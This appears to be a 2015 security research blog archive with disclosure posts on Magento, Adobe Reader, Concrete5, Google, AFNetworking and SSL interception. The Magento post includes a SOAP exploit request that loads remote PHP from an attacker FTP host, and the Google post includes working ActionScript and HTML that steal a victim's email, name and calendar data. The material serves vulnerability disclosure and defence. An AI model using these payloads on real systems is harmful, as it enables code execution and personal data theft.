Friday, September 11, 2015

Autoloaded File Inclusion in Magento SOAP API (SUPEE-6482)

This past February we reported an interesting and quite overlooked kind of vulnerability in the Magento web e-commerce platform. The vulnerability might allow an authenticated attacker to execute arbitrary code on the affected web stores, and this can lead to a complete compromise, including credit card information and personal data theft. We received the first reply from the Magento Security Team on June 22, 2015, stating that our submission was not eligible for the bug bounty program, because it was found to be invalid and not actionable. The reason for the rejection was that there are too many requirements to exploit the vulnerability, first of all it requires that Magento is running on outdated PHP versions, because this kind of vulnerability has been fixed in the PHP core engine at the beginning of 2014. However, as we will see in this post, there are still many websites out there using such outdated PHP versions. That should be one of the reasons why the Magento Security Team replied us on June 25, 2015, stating the following:
We were able to confirm your issue. Even though it requires knowing API credentials, it should not be possible to execute such actions. The PHP versions that are additionally vulnerable, while old are still used in popular distributions like RHEL 7.1. We will schedule fixing this issue for our next product release given lower priority. We will inform you regarding possible awards associated with this report.
On August 4, 2015, a bundle of patches (SUPEE-6482) has been released by the Magento team, that resolved several security-related issues, including the one we reported in February. The same day Magento released new versions (Community Edition and Enterprise Edition that include SUPEE-6482 along with other security patches. On August 13, 2015, we requested a new CVE identifier for this vulnerability, and MITRE has assigned the name CVE-2015-6497 for it.

What is an "Autoloaded File Inclusion" vulnerability?

This kind of vulnerability might affect PHP applications which uses an "exploitable" autoloading mechanism. The "Autoloading Classes" feature has been introduced in PHP 5.0 with the magic function __autoload() which is automatically called when your code references a class or interface that hasn’t been loaded yet. So, instead of including every needed class by hand, is it possible to register a function that gets called as soon as the code try to instantiate an unknown class. This function gets passed the unknown class name and is responsible for including the right file that contains the class definition. As an aside, starting from PHP 5.1.2 autoload-functions are usually registered via spl_autoload_register(), which provides a more flexible alternative for autoloading classes. For this reason, using __autoload() is discouraged and may be deprecated in the future. Here’s an example of an extremely basic __autoload() implementation, which attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively (it's taken from the official PHP documentation page):


 function __autoload($class_name) {
    include $class_name . '.php';

 $obj  = new MyClass1();
 $obj2 = new MyClass2(); 


While this feature is extremely useful and powerful, it might introduce potential local/remote file inclusion vulnerabilities when user-controlled input is used as a class name. Indeed, if an attacker can control the class name variable passed to an autoloading function, she could try to play around with it in order to include an arbitrary file and execute PHP code remotely. There are multiple ways to trigger the autoloader, the most obvious is class instantiation using the new operator. In addition to that, there are some PHP functions which can be considered as sensitive sinks for this kind of vulnerability. Here is an incomplete list:

So, when user-controlled input (tainted data) enters one of these sensitive sinks there's a chance for the application to be vulnerable to "Autoloaded File Inclusion". Let's see a trivial example of vulnerable scripts:


 /* File: autoload.php */

 function __autoload($class_name) {
    include $class_name . '.php';



 /* File: vuln.php */


 if(isset($_GET['class']) && class_exists($_GET['class'])) {
    $obj = new $_GET['class'];
 } else {
    die('No class found');

 /* Some code... */


In this example an attacker controls a class name via the GET parameter "class", which is first used with the class_exists() function (triggering the autoloader in case it is an unknown class) and then to instantiate a new object. This means that the attacker can control the $class_name variable passed to the autoloader, therefore it could be possible to include arbitrary files from both local or remote resources by invoking URLs like these:

In the first case the autoloader will try to include and execute the PHP code located at, resulting in a Remote File Inclusion (RFI); while in the second case the autoloader will try to include and execute the PHP code located into the file /tmp/cache/attacker_controlled/file.php, resulting in a Local File Inclusion (LFI). Furthermore, in cases like this where the attacker controls the classname's prefix, in addition to http:// other PHP wrappers might be abused in order to execute arbitrary PHP code.

But... wait a moment! According to the official documentation "a valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores". That means an attacker cannot include arbitrary files via class names because it should not be possible to e.g. use path traversal sequences (../../) through them. But here comes the problem: there was a bug in the PHP core which allowed to invoke class autoloaders with invalid class names. This bug has been solved in January 2014 with the release of PHP versions 5.4.24 and 5.5.8.

How many vulnerable PHP installs are out there?

Well, the bug which might enable this kind of vulnerability has been fixed by the PHP team at the beginning of 2014. But is this enough to say this kind of vulnerability should not pose any security concern? Maybe not... At the end of 2014 has been published a blog post showing that 78% of all PHP installs were not secure, meaning they had at least one known security vulnerability. Antony Ferrara, the author of that post, used the statistics data from W3Techs in order to come to that conclusion. Let's try to do the same with regards to the PHP installs affected by the autoloading bug. In other words, let's check how many PHP websites are using PHP versions before 5.4.24 or 5.5.8.

The above table has been retrieved from the PHP version 5 usage statistics page from W3Techs, as of September 10, 2015. It shows that at least 54.2% of websites using PHP are affected by the autoloading bug (38.5% is using PHP 5.3, 14.7% is using PHP 5.2 and 1% is using PHP 5.1). Next step is to see how many websites are using vulnerable PHP 5.4.x and 5.5.x versions. The usage statistics page for subversions of PHP 5.4 show that 12.7% of websites using PHP are running a version before 5.4.24, while the usage statistics page for subversions of PHP 5.5 show that 3.5% of websites using PHP are running a version before 5.5.8. Overall, this means that 70.4% of websites using PHP are affected by the autoloading bug. Roughly speaking, considering that according to the official website Magento powers more than 240,000 online shops, this could mean that over 150,000 websites powered by Magento might be affected by CVE-2015-6497.

Technical description of the vulnerability

The vulnerability is caused by the Mage_Catalog_Model_Product_Api_V2::create() method, which handles the "catalogProductCreate" SOAP API call. The vulnerable code is located into the /app/code/core/Mage/Catalog/Model/Product/Api/V2.php script:

    public function create($type, $set, $sku, $productData, $store = null)
        if (!$type || !$set || !$sku) {


        /** @var $product Mage_Catalog_Model_Product */
        $product = Mage::getModel('catalog/product');

        if (!property_exists($productData, 'stock_data')) {
            //Set default stock_data if not exist in product data
            $_stockData = array('use_config_manage_stock' => 0);

This method expects the $productData parameter to be an array (in form of a stdClass object) and uses the property_exists() function with it. However, an attacker can manipulate a SOAP request arbitrarily and send the $productData parameter in form of a string. In this case, if the string passed to the property_exists() function is an unknown class, any registered autloader function will be triggered. When the property_exists() function is called there's only one autoloader function registered, that is the Varien_Autoload::autoload() method:

    public function autoload($class)
        if ($this->_collectClasses) {
            $this->_arrLoadedClasses[self::$_scope][] = $class;
        if ($this->_isIncludePathDefined) {
            $classFile =  COMPILER_INCLUDE_PATH . DIRECTORY_SEPARATOR . $class;
        } else {
            $classFile = str_replace(' ', DIRECTORY_SEPARATOR, ucwords(str_replace('_', ' ', $class)));
        $classFile.= '.php';
        //echo $classFile;die();
        return include $classFile;

In such a scenario, the $class parameter automatically passed to this method is exactly the same string value sent through the $productData parameter from the SOAP request, which after some replacementes and a ".php" string appended to it, is being used in a call to the include() function. This may result in an arbitrary file inclusion (both from local or remote resources) and could be exploited to include and execute arbitrary PHP code. There are some conditions which should be met in order to exploit this vulnerability:

  • an API user account with privileges to create a catalog product is required;
  • in order to include arbitrary files from remote locations, Magento should run on PHP before 5.4.24 or 5.5.8, because such versions have fixed the issue related to invalid class names in the autoloading process;
  • in order to include arbitrary files from remote locations the "allow_url_include" directive must be set to On;
  • in case the allow_url_include directive is set to Off it might still be possible to include files from remote locations using the ssh2.sftp:// wrapper (which requires the SSH2 extension to be installed) or execute arbitrary OS commands leveraging the expect:// wrapper (which requires the Expect extension to be installed).

NOTE: if Magento is running on PHP version after 5.4.23 or 5.5.7 the vulnerability could still be exploited by including a local file with a .php extension (something like /tmp/test.php). If Magento is running on PHP before 5.3.4 the vulnerability could be exploited to include arbitrary local files with any extension (e.g. a session file containing malicious PHP code injected by the attacker) because NULL bytes are allowed within the path (see CVE-2006-7243).

Proof of Concept

Once logged in with valid API credentials, an attacker could send a SOAP request like the following in order to try to exploit the vulnerability:
POST /magento/index.php/api/v2_soap HTTP/1.0
Host: localhost
Content-Length: 804
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:ns1="urn:Magento" xmlns:xsd="" xmlns:xsi="" xmlns:SOAP-ENC="" SOAP-ENV:encodingStyle="">
<sessionId xsi:type="xsd:string">VALID_SESSION</sessionId>
<type xsi:type="xsd:string">simple</type>
<set xsi:type="xsd:string">4</set>
<sku xsi:type="xsd:string">test</sku>
<productData xsi:type="xsd:base64Binary">ZnRwOi8vYXR0YWNrZXI6cGFzc3dvcmRAYXR0YWNrZXJfc2VydmVyLmNvbS9ob21lL2F0dGFja2VyL2V2aWw=</productData>
<storeView xsi:nil="true"/>

The  "productData" parameter has been encoded in base64 within the SOAP request, and the decoded string is the following:

This means that leveraging the ftp:// wrapper, an attacker might be able to force Magento to load and execute malicious code from a FTP server under its control. In this example, the attacker only has to put the malicious code under /home/attacker/evil.php. However, as we said before, other PHP wrappers might be abused, potentially leading to direct arbitrary PHP code execution.

Tuesday, August 4, 2015

PDF-based polyglots through SVG images (CVE-2015-5092)

Many vulnerabilities in Adobe Reader were recently patched in APSB15-15; the security update addresses a vulnerability (CVE-2015-5092) that we responsibly reported to Adobe PSIRT in April 2015. 

The vulnerability consists in a bypass to the PDF content smuggling countermeasure, which Adobe introduced in January 2013 to address PDF-based polyglots. In fact, it was possible to craft PDF-SVG Polyglots which were correctly read both by Adobe Reader (as a PDF document) and by SVG interpreters (as an image).
Such technique could be useful when facing some very specific scenarios, such as: 
  • Web application allowing SVG images uploads and validating them through a robust (SVG-)XSS filter 
  • Web application allowing SVG images uploads and relying only on Content Security Policy for protecting against XSS
In both the cases, we are assuming that genuine PDF files uploads are prohibited; in the second scenario we are considering the presence of a server-side SVG parser which verifies that the supplied image is at least well-formed.
Although we all know that allowing SVG files uploads is sufficient for being vulnerable to Stored XSS, this should not be correct in presence of a robust (SVG-)XSS filter, validating untrusted images. In such circumstance, uploading a PDF-based polyglot would permit to bypass the SVG filtering procedure and steal private data by abusing same-origin requests, carried out from the PDF context.
In case of XSS protection achieved through CSP instead, inline JavaScript execution is disabled by default; however, this assumption was not observed in some browsers, when accessing polyglots which evaluated JavaScript code from the PDF context, instead of the SVG one.

Although some limitations are in place when dealing with such vulnerability, it is worth sharing since it turns out quite fascinating from a security research perspective. 
First, the vulnerability introduces a potential bypass in tight SVG filters, which accept comments without inspecting their content; moreover, the issue proves destructive when compared with the efforts required for building and testing filters; consider for instance the case of MediaWiki which progressively built a robust filtering procedure against user supplied SVG images. 
Secondly, polyglots get interesting when dealing with Content Security Policy, especially in case of missing explicit policy directives, by blindly trusting default-src. 

Here follows the related paper containing all the details and proof of concepts.

At this point it is important to consider that default installations of Firefox, Chrome and Opera do not use Adobe Reader for rendering PDF files; therefore, potentially affected users are the ones who modified their browser settings in order to use Adobe Reader instead of the default built-in reader. In addition, note that Chrome is going to disable NPAPI support. 

Eventually, this issue makes us consider again the risks involved in file uploads, and more generally in content hosting; content sanitization proves insufficient, therefore the usage of sandboxed domains is obviously the suggested design choice to operate the expected isolation and mitigate all the involved risks. However, since SVG images can be deployed in many different ways, further observations should be made on this basis.

Users are recommended to update Adobe Reader to version 11.0.12; in addition, blacklisting %PDF- in SVG filtering procedures would be a plus for protecting users using older Reader versions. From the CSP perspective, instead, setting object-src and plugin-types to 'none' would probably be helpful for protecting against similar polyglot-based attacks.

Friday, June 12, 2015

Multiple security issues discovered in Concrete5 - Part 1

About a month ago we performed a Secure Code Review of Concrete5 version, the latest stable release at that time, and discovered multiple security issues within it. In particular we found the following vulnerabilities:

  • A Remote Code Execution
  • Multiple Reflected Cross Site Scripting
  • A SQL Injection
  • ...others not fixed yet

These issues have been reported to the Concrete5 team through HackerOne, since they have a bug bounty program in place. Some of them were promptly fixed in the next releases of the software, while others still have to be solved.
This is the reason why this post will be in two parts: in this first part we are going to cover the issues already fixed and publicly disclosed on the HackerOne website, while the remainings will be illustrated in the second part.

Concrete5 CMS

Concrete5 is one of the most used open source Content Management System (CMS) on the web. A recent infographic published by CodeGuard places Concrete5 as one of the most popular CMS after WordPress, Joomla and Drupal:

Concrete5, a CMS written in PHP, was launched in 2003 as Concrete CMS. It was rebranded as Concrete5 and launched fully open source under the MIT license in 2008. According to the official website, Concrete5 powers more than 580,000 sites and has a community with over 230,000 members.

The Issues

Sendmail Remote Code Execution Vulnerability

Cause: Lack of input validation
Impact: Arbitrary PHP Code Execution on the server

One of the most critical issues we discovered is a Remote Code Execution (RCE) vulnerability affecting Concrete5 websites which use sendmail as mail server. This vulnerability is due to an incorrect validation of an input parameter used to store a setting related to the sender's address of a registration notification email.

The attack can be carried out in two steps:

  1. The sender's email address setting is modified to alter the sendmail command line in order to add specific parameters which allow to log all the email traffic into an arbitrary file;
  2. The attacker will send a specially crafted request to register a new account and will put some malicious PHP code after its email address. This will be written into the log file chosen during the first step, so in case it's a .php file arbitrary PHP code execution may be achieved (using the same technique described here).

Even though the sender's address parameter can be modified by administrator users only, an attacker might be able to exploit the bug leveraging a Cross-Site Request Forgery (CSRF) vulnerability affecting the related setting feature.
A detailed description of the vulnerability and a sample attack workflow are described in the following PDF:

- Disclosure Timeline:
[05/05/2015] - Vulnerability details sent through HackerOne
[05/05/2015] - Vendor said a patch has been committed and will be available in the next version
[05/07/2015] - Version 5.7.4 released along with the patch for this vulnerability
[06/06/2015] - Vulnerability publicly disclosed on HackerOne

Multiple Reflected Cross Site Scripting Vulnerabilities

Official Advisory

Risk: Medium
Cause: Lack of input validation
Impact: Unauthorized access to the victim's browser data

During our code review activity we found out that several input parameters are used to generate some HTML output without a proper encoding. This can be exploited to carry out Reflected Cross Site Scripting (XSS) attacks.
The following PDF describes the discovered XSS vulnerabilities and provides Proof of Concept (PoC) web pages for them:

- Disclosure Timeline:
[05/05/2015] - Vulnerabilities details sent through HackerOne
[05/05/2015] - Vendor said that 2 out of 6 reported vulnerabilities were already fixed in development
[05/07/2015] - Version 5.7.4 released along with patches for all the 6 vulnerabilities
[06/06/2015] - Vulnerabilities publicly disclosed on HackerOne

SQL Injection Vulnerability

Cause: Lack of input validation
Impact: Unauthorized access to the data stored into the database

Furthermore we found the presence of a SQL injection vulnerability, which is due to certain user input being used to construct a SQL query without a proper validation. This can be exploited to carry out SQL injection attacks leading to unauthorized access to the data stored into the database.
However, the vulnerability is not critical because it is mitigated by the fact that can be exploited only by authenticated users with privileges to edit page permissions.
The following PDF describes the detail of the vulnerability and how to exploit it:

- Disclosure Timeline:
[05/05/2015] - Vulnerability details sent through HackerOne
[05/08/2015] - Vendor said a patch has been committed and will be available in the next version
[05/12/2015] - Version released along with the patch for this vulnerability
[06/11/2015] - Vulnerability publicly disclosed on HackerOne

Stay tuned for the second part!

Wednesday, April 29, 2015

Antitamper Mobile - Minded Security's Magik Quadrant for Mobile Code Protection

Minded Security's Magik Quadrant for Mobile Code Protection shows you our evaluation of the top vendors in this market, based on our research and experience.

Magik Quadrant

Why care about Code Protection?

There are a lot of reasons to care about Code Protection when dealing with Mobile Applications.
Every year a lot of money is lost due to piracy, intellectual property theft, cracked copyright mechanisms, tampered software, malware, and so on.
Mobile Apps are obviously installed client-side, therefore they are under the user's control.
For example, malicious users or competitors could decompile the application and analyse the result.
This could reveal valuable data as proprietary algorithms or intellectual property or allow the attackers to use that information to modify the code, repackage and redistribute it to create a "trojanized" clone of the App in a rapid fashion.
Moreover, if the App needs to run on untrusted devices, any malware could interact with the App at runtime level to steal data (credentials, credit card number etc.) or bypass security logic (local authentication, geo-restrictions, custom cryptography etc.).
As you can see a mobile App could be attacked at various layers and with very different goals in mind, creating a very complex problem for those who want to protect their products.
The following diagram shows some of the main attack types.

Why Apps reverse-engineering and tampering are easy?

Many developers do not know how easy mobile application reverse-engineering and tampering are. 
Since mobile Apps reside on user's devices and include valuable data inside  -  metadata, resources and even the code itself -, attackers could gather important information just by using publicly available tools.
In fact, according to the OWASP Top 10 Mobile Risks 2014,
“ is extremely common for apps to be deployed without binary protection. The prevalence has been studied by a large number of security vendors, analysts and researchers.”

Without protections, it is quite easy to decompile an App to analyse its code (particularly on the Android platform) or to interact with it at runtime level on rooted/jailbroken devices.

How to make it harder?

To make the life harder to the attackers and help protecting valuable data, developers should:
  • Harden DRM systems and licensing modules
  • Reduce piracy
  • Protect intellectual property and personal data
  • Secure proprietary algorithms against analysis and reverse engineering
  • Harden firmware and OS
  • Protect cryptographic keys
  • Protect the client side of encrypted communication
  • Prevent malware intrusion
Therefore they have to deploy mobile applications with some kind of protection. To do this they could implement the following techniques:
  • Code and Flow Obfuscation
  • String and Class Encryption
  • Debug code stripping
  • Method Call Hiding (Reflection)
  • Resource Encryption
  • Debug Detection
  • Root/Jailbreak Detection
  • Runtime Injection Detection (Swizzle/Hook Detection)
  • Tamper Detection
  • Certificate Pinning
  • Watermarking
There are many technical resources on Internet that describe at some level of detail how to implement one or more of the preceding techniques.
Moreover, there is some commercial tool which provides binary protection without requiring developers to implement their own custom controls.
Before going into detail about these tools it is worth noting that all these security controls do not give a guarantee that mobile applications are going to be 100% secure, but they can provide additional protection and make very hard to carry on reverse engineering, tampering and runtime attacks.

Interpreting the Magik Quadrant

The Magik Quadrant study performed on Code Protection solutions takes into account multiple criteria based on:
  • Ability to Execute
  • Completeness of Vision

Ability to Execute

Vendors must deliver strong functionality in the following areas of capability:
  • Techniques implemented 
  • After Sale Support

Completeness of Vision

Completeness of vision in the Code Protection market considers a vendor’s vision and plans for addressing buyer needs in the future.
  • Cross-platform support
  • Innovation
  • Sale Strategy
Before proceeding it is worth noting that focusing on the leaders' quadrant isn't always the best choice. There are good reasons to consider market challengers. Moreover a niche player may support a specific needs better than a market leader.


Leaders offer products and services that best cover current scenarios and are well positioned for tomorrow. They provide solutions that are cross-platform, and therefore with one vendor it is possible to protect many platforms.
Their complex solutions provide protection (through obfuscation, encryption, call hiding etc.), detection and reaction (in case an attack is detected).


In general, in any Magic Quadrant the Visionaries are the innovators. They understand well where the market is going and therefore they can provide innovative techniques to protect Apps in a cross-platform environment.

Niche Players

Niche Players, in our research, are vendors that do not offer, at the moment, a cross-platform solution but they are focused on a small segment.
Since they are offering platform-specific solutions, in some case they are able to provide innovative and specific solutions for that particular target.

Free and Open Source Solutions

The preceding analysis was done on commercial tools available on market.
In addition to this, we have also analyzed a free and open source solutions available for iOS: iMAS.
This solution has the main disadvantage that, since it is free and open source, it does not guarantee support. Nevertheless, we want to spend some words about it since it has some interesting features.

Vendor Strengths and Cautions


This analysis pertains to Arxan's GuardIT.
Arxan is one of the most trusted names in application security. They provide protection against a widest range of static and dynamic attacks. The protection, provided by GuardIT, is implemented on different layers giving  the chance to select the desired level of security.

  • Cross-platform (Android, iOS, Windos Phone)
  • Strong code protection
  • Strong detection
  • Capability to repair after damage

  • Price could be higher than expected

Company website:


This analysis pertains to Metaforic Core, Authenticator, Concealer and WhiteBox.
Metaforic is one of the leaders in the application security market. They provide a cross-platform solution based on different "modules" (Core, Authenticator, Concealer and WhiteBox).

  • Cross-platform (Android, iOS)
  • Strong Code and Flow obfuscation
  • Strong cryptographic key protection

  • Price could be higher than expected

Company website:


This analysis pertains to whiteCryption's Cryptanium.
WhiteCryption provides code protection solutions since 2009, so they are relatively new on this market compared to Arxan or Metaforic. However they offer an innovative product that is designed to protect applications at all levels.

  • Cross-platform (Android, iOS)
  • Strong Code and Flow Obfuscation
  • Strong anti-tampering protection
  • Anti-debug and anti-piracy features

  • White-box cryptography techniques are still adopted very little

Company website:


This analysis pertains to DashO and .NET Obfuscator.
The first version of DashO was released in 1998 and .NET Obfuscator was initially released few years later. Therefore PreEmptive has a long experience in Code protection.

  • Cross-platform (Android and Windows Phone)
  • Strong code and flow obfuscation
  • Watermarking
  • Tamper prevention and reaction

  • No iOS support

Company website:

GuardSquare - Saikoa

This analysis pertains to DexGuard.
GuardSquare is very famous since they develop and support ProGuard, that is the successful open source obfuscator for the Java language. DexGuard is derived from it.
They have a great experience in Java and Android platform.

  • Large adoption among our customers
  • Strong code optimization and obfuscation 
  • Anti-tamper detection

  • Available only for Android

Company website:


This analysis pertains to Licel's DexProtector.
Licel is a new competitor in code protection. Its product, DexProtector, is designed for comprehensive protection of Android-applications against reverse engineering and tampering.

  • Affordable for our clients
  • Strong code obfuscation
  • Anti-tamper detection

  • Available only for Android

Company website:

Bangcle - SecNeo

This analysis pertains to AppShield service. Bangcle provides a service that permits to developers to upload its APK on Bangcle's server and they provide fully automated App shield services. The whole process takes about one hour or less to complete.

  • Very simple use
  • Anti-debug and Anti-tamper features
  • App Data Encryption

  • Available only for Android

Company website:


This analysis pertains to Smardec's Allatori.
Smardec's main goal is to offer you high quality services and products at a reasonable price. Allatori first version was released in 2006 and it has reached these goals.

  • Strong code and flow obfuscation
  • Watermarking
  • StackTrace restoring

  • Available only for Android
  • Only code protection/obfuscation   

Company website:


This analysis pertains to Zelix KlassMaster.
Zelix has a long story and experience in code obfuscation. Since its release in 1997, the Zelix KlassMaster Java code obfuscator has been continually developed to keep it at the forefront of obfuscation technology.
This solution provides a Java code obfuscator but it does not implement other protections such as those against tampering tries.

  • Strong code and flow obfuscation
  • Strong Call Hiding
  • Affordable for our clients

  • Available only for Java (Android)
  • Only code protection/obfuscation

Company website:


This analysis pertains to iMAS.
This solution is free and open source, available on GitHub, and it provides modularity as the main feature. In particular the iMAS project is composed of many components that developers could include inside their project and every module provides a different feature. So it is up to the developers selecting the desired components and include them in the project.

  • Free
  • Anti-tampering protections
  • Code encryption

  • Available only for iOS
  • No after sale support

Company website:

Thursday, April 9, 2015

Beyond Superfish: a Journey on SSL MitM in the Wild

Recently Lenovo hit the news because they got caught installing adware on their laptops, namely Superfish, which, amongst other features, also perform SSL Mitm on the infected computer.

Unfortunately, Superfish is not the only one that has been caught nullifying end-to-end SSL encryption. Many other software and services are turning this "feature" into a nightmare: result is that nowadays SSL Man in the Middle is not an uncommon scenario at all.

But how widespread is it?
Thanks to Minded Security AMT Technology we are able to provide some insights since we monitor this kind of threat, being quite common to banking malware too: an example is Hesperbot that deploys an intercepting proxy on localhost to provide fake SSL certificates to its victims.

What we do is to analyse our client's users security stance to understand if they accept invalid certificates from external sources.

On any given day we can correlate unique users plagued by SSL MiTM to the presence of different adwares, not only SuperFish:

  • Superfish 8.36%
  • iMonomy: 5.35% 
  • JollyWallet: 4.01% 
  • FirstOffer: 2.00% 
  • DealPly: 0.33% 
  • InterYield: 0.32% 
  • jmp9: 0.30%

Those numbers are daily averages collected from a sample of two weeks traffic from over 1 year of logs. The following graph shows how a total of ~20% of Mitm'd users is correlated to an adware infection:

But there's more than just malwares when dealing with SSL interception. Many legitimate services underestimates this risk and accept it as a tradeoff for various gains.

That's the case of "cloud accelerated" browsers where users requests are cached on the cloud to provide a performance boost, like some versions of Opera Mini, Maxthon or Puffin that are not so uncommon and together are accounting for a 31.02% of total positive users we monitored.

On the Puffin Faqs we can read:
"All traffic from Puffin app to Puffin server are encrypted. It is safe to use public non-secure WiFi through Puffin, but not safe at all for most browsers."

Which highlights that the cloud server is used as a proxy, thus sending requests on behalf of the users.

It's not so clear instead for Maxthon. After the Superfish fiasco they published a note stating that even if yes, Maxthon users where positive to SSL MitM test, they were nonetheless secure:
"[...] Due to the way we handle javascript requests in our browser, Maxthon’s PC browser unintentionally triggers a false positive on the Superfish test. In most cases running the test on other browsers on your system will not. If you find yourself in a position where Maxthon is said to be insecure  and Chrome (on the same machine) is not, do not worry.  If you get positives from all browsers, you likely have Superfish.
To repeat: the way Maxthon browsers retrieve javascript can trigger a false positive during a Superfish detection test saying your system is at risk.  Even though our browsers remain as secure as the best in the industry, we recognize the severity of this bug and have elevated it to the top of the line – P1 importance."
According to our tests, Maxthon's Windows client application ignores SSL certificates on remote JavaScripts resources and AJAX requests. Fortunately, the annoying behaviour has been apparently fixed on v4.4.4.3000.

The idea to increase performance by caching or inspect the content of the data in transit is not used exclusively by cloud browsers.
In fact, we discovered some users using legitimate services like VPNs and triggering SSL Mitm alerts on our systems. For example HotSpot Shield (0.07%), SpotFlux VPN (0.02%), XO Cloud Services (0.51%), WebSense Cloud Security (0.03%) have an high correlation ratio.

From the SpotFlux website we read:
"Mobile data compression helps you save on bandwidth bills"
The following graph shows the percentage of services against the total of SSL Mitm'd users we monitored:

The classic SSL model is meant to protect  communications end-to-end,  but if user's connection is initiated or intercepted by the cloud service provider the purpose of this model falls short because the security of the SSL model depends on how the encryption keys are exchanged.

Lastly we observed a plethora of private networks like hotels, public hotspots, small companies that have an high correlation ratio but of which we couldn't identify a common cause other than a misconfiguration.

To sum it up SSL Mitm is a real common scenario with very different causes and broad consequences. We advise to be very wary of the software you are using on your devices since, as we've shown, even legitimate services and apps can pose a threat to your security profile.

Monday, March 30, 2015

Exploiting CVE-2011-2461 on

As a follow up of our Troopers 2015 presentation about CVE-2011-2461 we want to release more details about a real world exploitation scenario targeting Google services.
During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.

Attack Flow

In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using as a "label" for a fictitious site controlled by an attacker.

The following steps outline a successful attack:
- The victim is logged on, and visits a malicious website
- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)
- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)
- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.

Proof of Concept

Here follow the PoC files.

<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=">

<?xml version="1.0"?>
<allow-access-from domain="*" />
</cross-domain-policy> (ActionScript code below)

package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.external.ExternalInterface;

public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;

public function main():void {
app = new URLr_google();

public function URLr_google() {
var url:String = "";
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);

try {
} catch (error:Error) {"alert", "Unable to load requested document");

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);

private function pingCalendar():void {
var url:String = "";
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);

try {
} catch (error:Error) {"alert", "Unable to load requested document");

private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);

private function getAgenda():void {
var url:String = "" + email;
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest(url);

try {
} catch (error:Error) {"alert", "Unable to load requested document");

private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(;
var s:String =;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);

if (results.length > 0) {
email = results[0];"eval", "alert('Email address: " + email + "')");

private function completeHandlerCalendar(event:Event):void {

private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(;
var res:String = escape(;"eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);

if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];"eval", "alert('Name and surname:" + name + "')");

By asking the victim to access the page located at, the attacker is able to steal the following information:
  • Gmail address
  • FirstName
  • LastName
  • Future events stored in Google Calendar

By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:
  1. 1st GET request to to steal the victim's email address;
  2. 2nd GET request to to initialize the Google Calendar for the current session;
  3. 3rd GET request to[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.

Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.

For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!

As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.

Brought to you by Mauro Gentile and Luca Carettoni

Thursday, March 26, 2015

SSL MiTM attack in AFNetworking 2.5.1 - Do NOT use it in production!

During a recent mobile application security analysis for one of our clients, we identified a quite unobvious behaviour in apps that use the AFNetworking library.

It turned out that because of a logic flaw in the latest version of the library, SSL MiTM attacks are feasible in apps using AFNetworking 2.5.1.

The issue occurs even when the mobile application requests the library to apply checks for server validation in SSL certificates.
Given that AFNetworking library is one of the most popular networking library for iOS and OS X and it is used by Pinterest, Heroku and Simple among others, the problem could affect a very high number of mobile users.
Here's the usage of AFNetworking library on Github:
Github statistics for the AFNetworking library

Although the vendor has been aware of this issue since February 13th, 2015, there's still no official patch for it.

Update 27.03.15: AFNetworking patched the issue in version 2.5.2 a few hours after this post, we appreciated that.

Update 22.04.15: As correctly pointed out in this post (English version) by mala, AFNetworking 2.5.2 cannot still be considered secure, since it  does not enforce hostname validation by default.
We did not stress such circumstance in our blogpost as we were optimistically assuming that developers read the validatesDomainName property documentation, stating:

"- Whether or not to validate the domain name in the certificate's CN field. Defaults to `YES` for `AFSSLPinningModePublicKey` or `AFSSLPinningModeCertificate`, otherwise `NO`."

This default behaviour is present and documented since the first introduction of the property, that is from version 2.1.0.
Since the library does not verify by default that the hostname of the request matches to the hostname in the certificate, an attacker could use an arbitrary certificate signed by a trusted CA and successfully perform a MiTM attack.

In other words, if you're using a version of AFNetworking which is >= 2.1.0 and <= 2.5.2, then you should be vulnerable by default, unless you set validatesDomainName to YES.

The "new" issue was addressed in AFNetworking 2.5.3, where the default value of validatesDomainName has been properly set to YES under all security policies.


The Issue

On the 6th of March, when looking at the tested application source code, we identified the following part:
